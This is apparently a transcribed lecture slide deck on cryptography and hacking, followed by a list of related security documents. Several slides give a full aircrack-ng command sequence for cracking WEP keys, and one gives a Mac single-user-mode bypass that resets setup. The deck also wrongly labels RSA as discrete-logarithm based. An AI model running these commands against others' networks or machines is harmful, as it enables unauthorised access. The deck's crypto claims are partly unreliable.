ISC. 10 October George Wong
|
|
- Herbert Hines
- 6 years ago
- Views:
Transcription
1 ISC 10 October 2014 George Wong
2 Sn vs Al Tin was first replaced by aluminum starting in In the late 19th century and early 20th century, tin foil was in common use, and some people continue to refer to the new product by the name of the old one. It tends to give a slight tin taste which is a major reason it has largely been replaced by aluminium and other materials 2
3 Difference? Aluminum The shielding effectiveness of aluminum foil depends upon the type of incident field and the frequency f >100 MHz, E_atten > 80 db. Aluminum foil is very effective at attenuating lowfrequency magnetic fields. A thickness of ~10 sheets offers less than 1dB of shielding at 1 khz, ~ 8 db at 10 khz, ~25 db at 100 khz. 3
4 Difference? Aluminum Tin The shielding effectiveness of aluminum foil depends upon the type of incident field and the frequency f >100 MHz, E_atten > 80 db. Aluminum foil is very effective at attenuating lowfrequency magnetic fields. A thickness of ~10 sheets offers less than 1dB of shielding at 1 khz, ~ 8 db at 10 khz, ~25 db at 100 khz. 4
5 Don t Trust Anyone! or You have to trust someone. 5
6 PERFECT SECURITY What does it mean? 6
7 PERFECT SECURITY What does it mean? What does that mean? 7
8 PERFECT SECURITY What does it mean? What does that mean? Can we achieve it? 8
9 YES: One-Time Pad (OTP) Bit-wise XOR with randomly generated key. Key must be same length as message Key cannot be reused Not practical! 9
10 Computational Security Function of security parameter (key length) Security increases with time. In practice: No need to exchange keys Computationally easy to perform Computationally hard to break 10
11 Basics of Asymmetric Cryptography YOU External Party Create PRIV-PUB key pair, publish PUB key Get PUB key Encrypt message with PUB and send ciphertext Decrypt ciphertext with PRIV 11
12 Basis for Asymmetric Cryptography One-way functions must exist: Easy to compute, hard (impossible?) to invert Sample methodologies (Cyclic Groups) Discrete Logarithm Elliptic Curve 12
13 Cyclic Group Set of elements with element(s) that generate(s) the others Given an element, hard to find the exponent! 13
14 Discrete Logarithm (RSA) 14
15 Discrete Logarithm (RSA) Given n, e, and b, find a. Breaking this requires: Brute force Factoring n, a (very) large number (NP) 15
16 Elliptic Curve 16
17 Hardcore Attack Strategy Find security flaw Spoof Probe Brute-force Differential Cryptanalysis Exploit (Escalate Privileges) Drop Payload Housekeeping 17
18 Worst Danger of Cryptography Ceiling Tiles! 18
19 Random Numbers Linear Congruence Generator Mersenne Twister Dual Elliptic Curve Deterministic Random Bit Generator (Dual_EC_DRBG) NSA 19
20 In Practice Social Engineering Asking / looking over the shoulder Post-it notes Piggybacking / Tailgating Phishing Keyloggers Cracking (vs Hacking!) Known Exploits (e.g. Heartbleed) Metasploit Kali Linux (i.e. BackTrack 6) 20
21 Certificate Authority (CA) Phonebook, do you trust the distributor? How do you get the public key? VeriSign, Digi-Sign, et al. Limits liability to $100 21
22 MITM Man In The Middle You have to send your data at some point Ettercap, ARP Spoofing and Promiscuous mode Alice Bob Eve 22
23 Cracked Files If a computer can run a file, you can read it and you can modify it! Assembly list of instructions Code injection Validation has to happen somewhere 23
24 Cracked Files so rewrite the code to skip validation! 24
25 WEP (Wired Equivalent Privacy) IV attack $ airmon-ng stop wlan0 $ ifconfig wlan0 down $ macchanger mac 00:11:22:33:44:55 wlan0 $ airmon-ng start wlan $ airodump-ng wlan0 $ airodump-ng c 1 w myfile bssid 00:16:B6:C4:66:46 wlan0 $ aireplay-ng -1 0 a 00:16:B6:B4:66:46 h 00:11:22:33:44:55 e PeteNetLive wlan0 $ aireplay-ng -3 b 00:16:B6:B4:66:46 h 00:11:22:33:44:55 wlan0 $ aircrack-ng b 00:16:B6:B4:66:46 myfile-01.cap 25
26 WEP (Wired Equivalent Privacy) $ airmon-ng stop wlan0 $ ifconfig wlan0 down $ macchanger mac 00:11:22:33:44:55 wlan0 $ airmon-ng start wlan $ airodump-ng wlan0 $ airodump-ng c 1 w myfile bssid 01:3E:04:C1:E0:92 wlan0 $ aireplay-ng -1 0 a 01:3E:04:C1:E0:92 h 00:11:22:33:44:55 e Karabraxos wlan0 $ aireplay-ng -3 b 01:3E:04:C1:E0:92 h 00:11:22:33:44:55 wlan0 26
27 WEP (Wired Equivalent Privacy) $ aircrack-ng b 01:3E:04:C1:E0:92 myfile-01.cap 27
28 WEP (Wired Equivalent Privacy) $ airmon-ng stop wlan0 $ ifconfig wlan0 down $ macchanger mac 00:11:22:33:44:55 wlan0 $ airmon-ng start wlan $ airodump-ng wlan0 $ airodump-ng c 1 w myfile bssid 00:16:B6:C4:66:46 wlan0 $ aireplay-ng -1 0 a 01:3E:04:C1:E0:92 h 00:11:22:33:44:55 e Karabraxos wlan0 $ aireplay-ng -3 b 01:3E:04:C1:E0:92 h 00:11:22:33:44:55 wlan0 $ aircrack-ng b 01:3E:04:C1:E0:92 myfile-01.cap 28
29 Windows OphCrack, Cain & Abel, Kon-Boot 29
30 Single User mode Notoriously easy to break into Mac OSX Tools: S Headphones $ /sbin/mount wu / $ rm /var/db/.applesetupdone 30
31 How to avoid the above: Make yourself a bad target Use encryption Update your system Don t publicize the worth of your information 31
32 The rules about keeping your information safe: 1. Your information is not safe. 2. Don t assume you can keep your information safe. 3. If someone tells you your information is safe, see Rule 1. It applies twice now. THANK YOU! 32
33 Resources /2318/2318.strip.gif at PM.png &c. 33
Hacking Encrypted Wireless Network
Hacking Encrypted Wireless Network Written by Fredrik Alm CompuTechSweden 2010 http://www.fredrik-alm.se/ REQUIREMENTS Software: Operating System: Linux kernel (Recommended: BackTrack 4 Final ) Download:
More informationWireless Security. Comp Sci 3600 Security. Attacks WEP WPA/WPA2. Authentication Encryption Vulnerabilities
Wireless Security Comp Sci 3600 Security Outline 1 2 3 Wired versus wireless Endpoint Access point Figure 24.1 Wireless Networking Components Locations and types of attack Outline 1 2 3 Wired Equivalent
More informationOnce in BT3, click the tiny black box in the lower left corner to load up a "Konsole" window. Now we must prep your wireless card.
Hacking WEP wifi passwords 1. Getting the right tools Download Backtrack 3. It can be found here: http://www.remote-exploit.org/backtrack_download.html The Backtrack 4 beta is out but until it is fully
More informationHacking Wireless Networks by data
Hacking Wireless Networks by data -disclaimer- The sole purpose of this article is so that you may be informed about how your neighbor may be able to take a laptop, crack your wep/wpa key to your router
More informationMissouri University of Science and Technology ACM SIG-Security 2014 Wi-Fi Workshop Exploitation Handbook
Missouri University of Science and Technology ACM SIG-Security 2014 Wi-Fi Workshop Exploitation Handbook 1 2 The information provided in this manual is to be used for educational purposes only. The authors
More information2013 Summer Camp: Wireless LAN Security Exercises JMU Cyber Defense Boot Camp
2013 Summer Camp: Wireless LAN Security Exercises 2013 JMU Cyber Defense Boot Camp Questions Have you used a wireless local area network before? At home? At work? Have you configured a wireless AP before?
More informationETHICAL HACKING OF WIRELESS NETWORKS IN KALI LINUX ENVIRONMENT
1. P. ČISAR, 2. S. MARAVIĆ ČISAR ETHICAL HACKING OF WIRELESS NETWORKS IN KALI LINUX ENVIRONMENT 1. Academy of Criminalistic and Police Studies, 11080 Belgrade - Zemun, Cara Dusana 196, SERBIA 2. Subotica
More informationCyber Security & Ethical Hacking Training. Introduction to Cyber Security Introduction to Cyber Security. Linux Operating System and Networking: LINUX
Cyber Security & Ethical Hacking Training. Introduction to Cyber Security Introduction to Cyber Security HTML PHP Database Linux Operating System and Networking: LINUX NETWORKING Information Gathering:
More informationGaining Access to encrypted networks
Gaining Access to encrypted networks Everything we have learned so far we can do it without having to connect to the target network. We can get more accurate info and launch more effective attacks if we
More informationCSE 127: Computer Security Cryptography. Kirill Levchenko
CSE 127: Computer Security Cryptography Kirill Levchenko October 24, 2017 Motivation Two parties want to communicate securely Secrecy: No one else can read messages Integrity: messages cannot be modified
More informationWireless Network Security
Wireless Network Security Why wireless? Wifi, which is short for wireless fi something, allows your computer to connect to the Internet using magic. -Motel 6 commercial 2 but it comes at a price Wireless
More informationDr. Jinyuan (Stella) Sun Dept. of Electrical Engineering and Computer Science University of Tennessee Fall 2010
CS 494/594 Computer and Network Security Dr. Jinyuan (Stella) Sun Dept. of Electrical Engineering and Computer Science University of Tennessee Fall 2010 1 Public Key Cryptography Modular Arithmetic RSA
More informationCS 6324: Information Security More Info on Key Establishment: RSA, DH & QKD
ERIK JONSSON SCHOOL OF ENGINEERING & COMPUTER SCIENCE Cyber Security Research and Education Institute CS 6324: Information Security Dr. Junia Valente Department of Computer Science The University of Texas
More informationWireless Network Security
Wireless Network Security By: Jose Rodriguez Table of Contents Wireless Network Security...1 Table of Contents...2 Introduction...3 Wireless Network Requirements...4 Wireless Network Protocols...5 Wireless
More informationComputer Security. 08r. Pre-exam 2 Last-minute Review Cryptography. Paul Krzyzanowski. Rutgers University. Spring 2018
Computer Security 08r. Pre-exam 2 Last-minute Review Cryptography Paul Krzyzanowski Rutgers University Spring 2018 March 26, 2018 CS 419 2018 Paul Krzyzanowski 1 Cryptographic Systems March 26, 2018 CS
More informationDavid Wetherall, with some slides from Radia Perlman s security lectures.
David Wetherall, with some slides from Radia Perlman s security lectures. djw@cs.washington.edu Networks are shared: Want to secure communication between legitimate participants from others with (passive
More informationToday s challenge on Wireless Networking. David Leung, CISM Solution Consultant, Security Datacraft China/Hong Kong Ltd.
Today s challenge on Wireless Networking David Leung, CISM Solution Consultant, Security Datacraft China/Hong Kong Ltd. Agenda How Popular is Wireless Network? Threats Associated with Wireless Networking
More informationPublic-Key Cryptography. Professor Yanmin Gong Week 3: Sep. 7
Public-Key Cryptography Professor Yanmin Gong Week 3: Sep. 7 Outline Key exchange and Diffie-Hellman protocol Mathematical backgrounds for modular arithmetic RSA Digital Signatures Key management Problem:
More informationDistributed Systems. 26. Cryptographic Systems: An Introduction. Paul Krzyzanowski. Rutgers University. Fall 2015
Distributed Systems 26. Cryptographic Systems: An Introduction Paul Krzyzanowski Rutgers University Fall 2015 1 Cryptography Security Cryptography may be a component of a secure system Adding cryptography
More informationEthical Hacking and Prevention
Ethical Hacking and Prevention This course is mapped to the popular Ethical Hacking and Prevention Certification Exam from US-Council. This course is meant for those professionals who are looking for comprehensive
More informationL13. Reviews. Rocky K. C. Chang, April 10, 2015
L13. Reviews Rocky K. C. Chang, April 10, 2015 1 Foci of this course Understand the 3 fundamental cryptographic functions and how they are used in network security. Understand the main elements in securing
More informationINTERNATIONAL JOURNAL OF PURE AND APPLIED RESEARCH IN ENGINEERING AND TECHNOLOGY
INTERNATIONAL JOURNAL OF PURE AND APPLIED RESEARCH IN ENGINEERING AND TECHNOLOGY A PATH FOR HORIZING YOUR INNOVATIVE WORK ANALYSIS OF PENETRATION TESTING AND COUNTERMEASURES FOR SECURING WIRELESS NETWORK
More informationLecture 2. Cryptography: History + Simple Encryption,Methods & Preliminaries. Cryptography can be used at different levels
Lecture 2 Cryptography: History + Simple Encryption,Methods & Preliminaries 1 Cryptography can be used at different levels algorithms: encryption, signatures, hashing, RNG protocols (2 or more parties):
More informationSample Exam Ethical Hacking Foundation
Sample Exam Sample Exam Ethical Hacking Foundation SECO-Institute issues the official Ethical Hacking courseware to accredited training centres where students are trained by accredited instructors. Students
More informationPublic Key Algorithms
CSE597B: Special Topics in Network and Systems Security Public Key Cryptography Instructor: Sencun Zhu The Pennsylvania State University Public Key Algorithms Public key algorithms RSA: encryption and
More informationAdvanced Ethical Hacking & Penetration Testing. Ethical Hacking
Summer Training Internship Program 2017 (STIP - 2017) is a practical oriented & industrial level training program for all students who have aspiration to work in the core technical industry domain. This
More informationCrypto-systems all around us ATM machines Remote logins using SSH Web browsers (https invokes Secure Socket Layer (SSL))
Introduction (Mihir Bellare Text/Notes: http://cseweb.ucsd.edu/users/mihir/cse207/) Cryptography provides: Data Privacy Data Integrity and Authenticity Crypto-systems all around us ATM machines Remote
More informationInvestigations and Incident Response Using BackTrack
Investigations and Incident Response Using BackTrack HTCIA New England Chapter General Meeting September 22, 2009 Ming Chow Tufts University mchow@cs.tufts.edu http://www.cs.tufts.edu/~mchow 1 Introduction
More informationEncryption and Forensics/Data Hiding
Encryption and Forensics/Data Hiding 1 Cryptography Background See: http://www.cacr.math.uwaterloo.ca/hac/ For more information 2 Security Objectives Confidentiality (Secrecy): Prevent/Detect/Deter improper
More informationUsing aircrack and a dictionary to crack a WPA data capture
Step by Step Backtrack 5 and wireless Hacking basics Installing Backtrack 5 Creating a Backtrack 5 R3 Live CD Installing to the Hard drive Installing and running with VMware Reaver WPA dictionary attack
More informationPASS4TEST. IT Certification Guaranteed, The Easy Way! We offer free update service for one year
PASS4TEST IT Certification Guaranteed, The Easy Way! \ http://www.pass4test.com We offer free update service for one year Exam : ECSS Title : EC-Council Certified Security Specialist Practice Test Vendors
More informationAURA ACADEMY Training With Expertised Faculty Call Us On For Free Demo
ETHICAL HACKING (CEH) CURRICULUM Introduction to Ethical Hacking What is Hacking? Who is a Hacker? Skills of a Hacker? Types of Hackers? What are the Ethics and Legality?? Who are at the risk of Hacking
More informationPublic Key Cryptography
graphy CSS322: Security and Cryptography Sirindhorn International Institute of Technology Thammasat University Prepared by Steven Gordon on 29 December 2011 CSS322Y11S2L07, Steve/Courses/2011/S2/CSS322/Lectures/rsa.tex,
More informationLecture 6 - Cryptography
Lecture 6 - Cryptography CMPSC 443 - Spring 2012 Introduction Computer and Network Security Professor Jaeger www.cse.psu.edu/~tjaeger/cse443-s12 Question Setup: Assume you and I donʼt know anything about
More informationIntroduction to Cryptography. Ramki Thurimella
Introduction to Cryptography Ramki Thurimella Encryption & Decryption 2 Generic Setting 3 Kerckhoff s Principle Security of the encryption scheme must depend only on The secret key NOT on the secrecy of
More informationOverview of SSL/TLS. Luke Anderson. 12 th May University Of Sydney.
Overview of SSL/TLS Luke Anderson luke@lukeanderson.com.au 12 th May 2017 University Of Sydney Overview 1. Introduction 1.1 Raw HTTP 1.2 Introducing SSL/TLS 2. Certificates 3. Attacks Introduction Raw
More information9/30/2016. Cryptography Basics. Outline. Encryption/Decryption. Cryptanalysis. Caesar Cipher. Mono-Alphabetic Ciphers
Cryptography Basics IT443 Network Security Administration Slides courtesy of Bo Sheng Basic concepts in cryptography systems Secret cryptography Public cryptography 1 2 Encryption/Decryption Cryptanalysis
More informationCryptography Basics. IT443 Network Security Administration Slides courtesy of Bo Sheng
Cryptography Basics IT443 Network Security Administration Slides courtesy of Bo Sheng 1 Outline Basic concepts in cryptography systems Secret key cryptography Public key cryptography Hash functions 2 Encryption/Decryption
More informationCSC 580 Cryptography and Computer Security
CSC 580 Cryptography and Computer Security Encryption Concepts, Classical Crypto, and Binary Operations January 30, 2018 Overview Today: Cryptography concepts and classical crypto Textbook sections 3.1,
More informationPublic Key Algorithms
Public Key Algorithms 1 Public Key Algorithms It is necessary to know some number theory to really understand how and why public key algorithms work Most of the public key algorithms are based on modular
More informationSecurity of WiFi networks MARCIN TUNIA
Security of WiFi networks MARCIN TUNIA Agenda 1. Wireless standards 2. Hidden network and MAC filtering protection bypassing 3. Encryption independent attacks 4. Attacks on WEP 5. Attacks on WPA/WPA2 6.
More informationAuthentication Part IV NOTE: Part IV includes all of Part III!
Authentication Part IV NOTE: Part IV includes all of Part III! ECE 3894 Hardware-Oriented Security and Trust Spring 2018 Assoc. Prof. Vincent John Mooney III Georgia Institute of Technology NOTE: THE FOLLOWING
More informationWireless Attacks and Defense. By: Dan Schade. April 9, 2006
Wireless Attacks and Defense By: Dan Schade April 9, 2006 Schade - 2 As more and more home and business users adapt wireless technologies because of their ease of use and affordability, these devices are
More informationCYBER ATTACKS EXPLAINED: WIRELESS ATTACKS
CYBER ATTACKS EXPLAINED: WIRELESS ATTACKS Wireless networks are everywhere, from the home to corporate data centres. They make our lives easier by avoiding bulky cables and related problems. But with these
More information5 Steps Wifi Hacking Cracking WPA2 Password
Advertise Here Contact Us Request Tutorial Write for Us Download» Hacking Knowledge Hacking News Hacking Tutorial Hacking Widget Online Tools» Tips and Trick Website» Phone Hacking Search 9,517 91 +525
More informationInformation Security CS526
Information Security CS 526 Topic 3 Cryptography: One-time Pad, Information Theoretic Security, and Stream CIphers 1 Announcements HW1 is out, due on Sept 11 Start early, late policy is 3 total late days
More informationCryptographic Primitives A brief introduction. Ragesh Jaiswal CSE, IIT Delhi
Cryptographic Primitives A brief introduction Ragesh Jaiswal CSE, IIT Delhi Cryptography: Introduction Throughout most of history: Cryptography = art of secret writing Secure communication M M = D K (C)
More informationDiffie-Hellman. Part 1 Cryptography 136
Diffie-Hellman Part 1 Cryptography 136 Diffie-Hellman Invented by Williamson (GCHQ) and, independently, by D and H (Stanford) A key exchange algorithm o Used to establish a shared symmetric key Not for
More informationWireless Security and Monitoring. Training materials for wireless trainers
Wireless Security and Monitoring Training materials for wireless trainers Goals to understand which security issues are important to consider when designing WiFi networks to be introduced to encryption,
More informationMaking and Breaking Ciphers
Making and Breaking Ciphers Ralph Morelli Trinity College, Hartford (ralph.morelli@trincoll.edu) Smithsonian Institute October 31, 2009 2009 Ralph Morelli You are free to reuse and remix this presentation
More informationQuantum Encryption Keys
Quantum Technology PROGRAMME ACTIVITY SHEETS Quantum Encryption Keys SHARING DECRYPTION KEYS AND DECODING MESSAGES Every time you send an email or you pay for something online, or with your debit card,
More informationOverview. Public Key Algorithms I
Public Key Algorithms I Dr. Arjan Durresi Louisiana State University Baton Rouge, LA 70810 Durresi@csc.lsu.Edu These slides are available at: http://www.csc.lsu.edu/~durresi/csc4601-04/ Louisiana State
More informationComputer Security. 08. Cryptography Part II. Paul Krzyzanowski. Rutgers University. Spring 2018
Computer Security 08. Cryptography Part II Paul Krzyzanowski Rutgers University Spring 2018 March 23, 2018 CS 419 2018 Paul Krzyzanowski 1 Block ciphers Block ciphers encrypt a block of plaintext at a
More informationLecture 20 Public key Crypto. Stephen Checkoway University of Illinois at Chicago CS 487 Fall 2017 Slides from Miller and Bailey s ECE 422
Lecture 20 Public key Crypto Stephen Checkoway University of Illinois at Chicago CS 487 Fall 2017 Slides from Miller and Bailey s ECE 422 Review: Integrity Problem: Sending a message over an untrusted
More informationWhat is Eavedropping?
WLAN Security What is Eavedropping? War Driving War Driving refers to someone driving around with a laptop and an 802.11 client card looking for an 802.11 system to exploit. War Walking Someone walks
More informationASYMMETRIC (PUBLIC-KEY) ENCRYPTION. Mihir Bellare UCSD 1
ASYMMETRIC (PUBLIC-KEY) ENCRYPTION Mihir Bellare UCSD 1 Recommended Book Steven Levy. Crypto. Penguin books. 2001. A non-technical account of the history of public-key cryptography and the colorful characters
More informationInternational Journal of Advance Research in Engineering, Science & Technology
Impact Factor (SJIF): 4.542 International Journal of Advance Research in Engineering, Science & Technology e-issn: 2393-9877, p-issn: 2394-2444 Volume 4, Issue 4, April-2017 Penetration Testing on Wireless
More informationThis repository. Insights. Projects 0. Join GitHub today
Features Business Explore Marketplace Pricing brannondorsey / wifi-cracking Code Issues 0 Pull requests 1 Sign in or Sign up This repository Watch Projects 0 73 Star 2,627 Fork 183 Insights Dismiss Join
More informationElliptic Curve Public Key Cryptography
Why? Elliptic Curve Public Key Cryptography ECC offers greater security for a given key size. Why? Elliptic Curve Public Key Cryptography ECC offers greater security for a given key size. The smaller key
More informationCSE484 Final Study Guide
CSE484 Final Study Guide Winter 2013 NOTE: This study guide presents a list of ideas and topics that the TAs find useful to know, and may not represent all the topics that could appear on the final exam.
More informationWireless Network Penetration Testing Using Kali Linux on BeagleBone Black
Wireless Network Penetration Testing Using Kali Linux on BeagleBone Black Aparicio Carranza, PhD 1 and Casimer DeCusatis, PhD 2 1 The New York City College of Technology CUNY, USA, acarranza@citytech.cuny.edu
More informationCryptography CS 555. Topic 16: Key Management and The Need for Public Key Cryptography. CS555 Spring 2012/Topic 16 1
Cryptography CS 555 Topic 16: Key Management and The Need for Public Key Cryptography CS555 Spring 2012/Topic 16 1 Outline and Readings Outline Private key management between two parties Key management
More informationIntroduction. CSE 5351: Introduction to cryptography Reading assignment: Chapter 1 of Katz & Lindell
Introduction CSE 5351: Introduction to cryptography Reading assignment: Chapter 1 of Katz & Lindell 1 Cryptography Merriam-Webster Online Dictionary: 1. secret writing 2. the enciphering and deciphering
More informationSecurity Models: Proofs, Protocols and Certification
Security Models: Proofs, Protocols and Certification Florent Autrau - Yassine Lakhnech - Jean-Louis Roch Master-2 Security, Cryptology and Coding of Information Systems ENSIMAG/Grenoble-INP UJF Grenoble
More informationSecurity: Cryptography
Security: Cryptography Computer Science and Engineering College of Engineering The Ohio State University Lecture 38 Some High-Level Goals Confidentiality Non-authorized users have limited access Integrity
More information1-7 Attacks on Cryptosystems
1-7 Attacks on Cryptosystems In the present era, not only business but almost all the aspects of human life are driven by information. Hence, it has become imperative to protect useful information from
More information0x1A Great Papers in Computer Security
CS 380S 0x1A Great Papers in Computer Security Vitaly Shmatikov http://www.cs.utexas.edu/~shmat/courses/cs380s/ Privacy on Public Networks Internet is designed as a public network Wi-Fi access points,
More informationCSCI 454/554 Computer and Network Security. Topic 3.1 Secret Key Cryptography Algorithms
CSCI 454/554 Computer and Network Security Topic 3.1 Secret Key Cryptography Algorithms Outline Introductory Remarks Feistel Cipher DES AES 2 Introduction Secret Keys or Secret Algorithms? Security by
More informationASYMMETRIC (PUBLIC-KEY) ENCRYPTION. Mihir Bellare UCSD 1
ASYMMETRIC (PUBLIC-KEY) ENCRYPTION Mihir Bellare UCSD 1 Recommended Book Steven Levy. Crypto. Penguin books. 2001. A non-technical account of the history of public-key cryptography and the colorful characters
More informationLecture Nov. 21 st 2006 Dan Wendlandt ISP D ISP B ISP C ISP A. Bob. Alice. Denial-of-Service. Password Cracking. Traffic.
15-441 Lecture Nov. 21 st 2006 Dan Wendlandt Worms & Viruses Phishing End-host impersonation Denial-of-Service Route Hijacks Traffic modification Spyware Trojan Horse Password Cracking IP Spoofing DNS
More informationThis chapter continues our overview of public-key cryptography systems (PKCSs), and begins with a description of one of the earliest and simplest
1 2 3 This chapter continues our overview of public-key cryptography systems (PKCSs), and begins with a description of one of the earliest and simplest PKCS, Diffie- Hellman key exchange. This first published
More informationCryptography Symmetric Cryptography Asymmetric Cryptography Internet Communication. Telling Secrets. Secret Writing Through the Ages.
Telling Secrets Secret Writing Through the Ages William Turner Department of Mathematics & Computer Science Wabash College Crawfordsville, IN 47933 Tuesday 4 February 2014 W. J. Turner Telling Secrets
More informationPost Connection Attacks
Post Connection Attacks All the attacks we carried out in the previous sections can be done without knowing the key to the AP, ie: without connecting to the target network. We saw how we can control all
More informationPublic Key Cryptography
Public Key Cryptography Giuseppe F. Italiano Universita` di Roma Tor Vergata italiano@disp.uniroma2.it Motivation Until early 70s, cryptography was mostly owned by government and military Symmetric cryptography
More informationCSC 474/574 Information Systems Security
CSC 474/574 Information Systems Security Topic 2.5 Public Key Algorithms CSC 474/574 Dr. Peng Ning 1 Public Key Algorithms Public key algorithms covered in this class RSA: encryption and digital signature
More information10.1 Introduction 10.2 Asymmetric-Key Cryptography Asymmetric-Key Cryptography 10.3 RSA Cryptosystem
[Part 2] Asymmetric-Key Encipherment Asymmetric-Key Cryptography To distinguish between two cryptosystems: symmetric-key and asymmetric-key; To discuss the RSA cryptosystem; To introduce the usage of asymmetric-key
More informationCryptographic Systems
CPSC 426/526 Cryptographic Systems Ennan Zhai Computer Science Department Yale University Recall: Lec-10 In lec-10, we learned: - Consistency models - Two-phase commit - Consensus - Paxos Lecture Roadmap
More informationWhat did we talk about last time? Public key cryptography A little number theory
Week 4 - Friday What did we talk about last time? Public key cryptography A little number theory If p is prime and a is a positive integer not divisible by p, then: a p 1 1 (mod p) Assume a is positive
More informationCryptography MIS
Cryptography MIS-5903 http://community.mis.temple.edu/mis5903sec011s17/ Cryptography History Substitution Monoalphabetic Polyalphabetic (uses multiple alphabets) uses Vigenere Table Scytale cipher (message
More informationVulnerability issues on research in WLAN encryption algorithms WEP WPA/WPA2 Personal
Vulnerability issues on research in WLAN encryption algorithms WEP WPA/WPA2 Personal Lazaridis Ioannis, Pouros Sotirios, Veloudis Simeon DEI College, Thessaloniki, Greece Abstract: This paper presents
More informationCSCI 454/554 Computer and Network Security. Topic 5.2 Public Key Cryptography
CSCI 454/554 Computer and Network Security Topic 5.2 Public Key Cryptography Outline 1. Introduction 2. RSA 3. Diffie-Hellman Key Exchange 4. Digital Signature Standard 2 Introduction Public Key Cryptography
More informationGrenzen der Kryptographie
Microsoft Research Grenzen der Kryptographie Dieter Gollmann Microsoft Research 1 Summary Crypto does not solve security problems Crypto transforms security problems Typically, the new problems relate
More informationOutline. CSCI 454/554 Computer and Network Security. Introduction. Topic 5.2 Public Key Cryptography. 1. Introduction 2. RSA
CSCI 454/554 Computer and Network Security Topic 5.2 Public Key Cryptography 1. Introduction 2. RSA Outline 3. Diffie-Hellman Key Exchange 4. Digital Signature Standard 2 Introduction Public Key Cryptography
More informationTECHNISCHE UNIVERSITEIT EINDHOVEN Faculty of Mathematics and Computer Science Exam Cryptology, Tuesday 31 October 2017
Faculty of Mathematics and Computer Science Exam Cryptology, Tuesday 31 October 2017 Name : TU/e student number : Exercise 1 2 3 4 5 6 total points Notes: Please hand in this sheet at the end of the exam.
More informationIntroduction to Information Security Miscellaneous
Introduction to Information Security Miscellaneous 1 NOP Slides 1120 RET 1000? To implement a buffer overflow, you need to know: The overflow size (from the buffer start to the return address) The stack
More informationPROTECTING CONVERSATIONS
PROTECTING CONVERSATIONS Basics of Encrypted Network Communications Naïve Conversations Captured messages could be read by anyone Cannot be sure who sent the message you are reading Basic Definitions Authentication
More informationCryptography. Recall from last lecture. [Symmetric] Encryption. How Cryptography Helps. One-time pad. Idea: Computational security
Recall from last lecture Cryptography To a first approximation, attackers control network Next two lectures: How to defend against this 1. Communicate securely despite insecure networks cryptography 2.
More informationInformation Security CS 526
Information Security CS 526 Topic 14: Key Distribution & Agreement, Secure Communication Topic 14: Secure Communication 1 Readings for This Lecture On Wikipedia Needham-Schroeder protocol (only the symmetric
More informationOutline. Public Key Cryptography. Applications of Public Key Crypto. Applications (Cont d)
Outline AIT 682: Network and Systems Security 1. Introduction 2. RSA 3. Diffie-Hellman Key Exchange 4. Digital Signature Standard Topic 5.2 Public Key Cryptography Instructor: Dr. Kun Sun 2 Public Key
More informationModule 1: Penetration Testing Planning and Scoping. Module 2: Basic Usage of Linux and its services
Following topics will be covered: Module 1: Penetration Testing Planning and Scoping - Types of penetration testing and ethical hacking projects - Penetration testing methodology - Limitations and benefits
More informationModule: Cryptographic Protocols. Professor Patrick McDaniel Spring CMPSC443 - Introduction to Computer and Network Security
CMPSC443 - Introduction to Computer and Network Security Module: Cryptographic Protocols Professor Patrick McDaniel Spring 2009 1 Key Distribution/Agreement Key Distribution is the process where we assign
More informationAttacking Networks. Joshua Wright LightReading LIVE! October 1, 2003
Attacking 802.11 Networks Joshua Wright Joshua.Wright@jwu.edu LightReading LIVE! October 1, 2003 Attention The material presented here reflects the personal experience and opinions of the author, and not
More informationChapter 9 Public Key Cryptography. WANG YANG
Chapter 9 Public Key Cryptography WANG YANG wyang@njnet.edu.cn Content Introduction RSA Diffie-Hellman Key Exchange Introduction Public Key Cryptography plaintext encryption ciphertext decryption plaintext
More informationClassical Cryptography. Thierry Sans
Classical Cryptography Thierry Sans Example and definitions of a cryptosystem Caesar Cipher - the oldest cryptosystem A shift cipher attributed to Julius Caesar (100-44 BC) MEET ME AFTER THE TOGA PARTY
More informationPublic Key Cryptography, OpenPGP, and Enigmail. 31/5/ Geek Girls Carrffots GVA
Public Key Cryptography, OpenPGP, and Enigmail Cryptography is the art and science of transforming (encrypting) a message so only the intended recipient can read it Symmetric Cryptography shared secret
More informationD. The bank s web server is using an X.509 certificate that is not signed by a root CA, causing the user ID and password to be sent unencrypted.
Volume: 119 Questions Question No: 1 John Smith uses a coffee shop's Internet hot-spot (no authentication or encryption) to transfer funds between his checking and savings accounts at his bank's website.
More informationCryptographic Concepts
Outline Identify the different types of cryptography Learn about current cryptographic methods Chapter #23: Cryptography Understand how cryptography is applied for security Given a scenario, utilize general
More informationpage 1 Introduction to Cryptography Benny Pinkas Lecture 3 November 18, 2008 Introduction to Cryptography, Benny Pinkas
Introduction to Cryptography Lecture 3 Benny Pinkas page 1 1 Pseudo-random generator Pseudo-random generator seed output s G G(s) (random, s =n) Deterministic function of s, publicly known G(s) = 2n Distinguisher
More informationCS669 Network Security
UNIT II PUBLIC KEY ENCRYPTION Uniqueness Number Theory concepts Primality Modular Arithmetic Fermet & Euler Theorem Euclid Algorithm RSA Elliptic Curve Cryptography Diffie Hellman Key Exchange Uniqueness
More informationInformation Security CS526
Information CS 526 Topic 3 Ciphers and Cipher : Stream Ciphers, Block Ciphers, Perfect Secrecy, and IND-CPA 1 Announcements HW1 is out, due on Sept 10 Start early, late policy is 3 total late days for
More information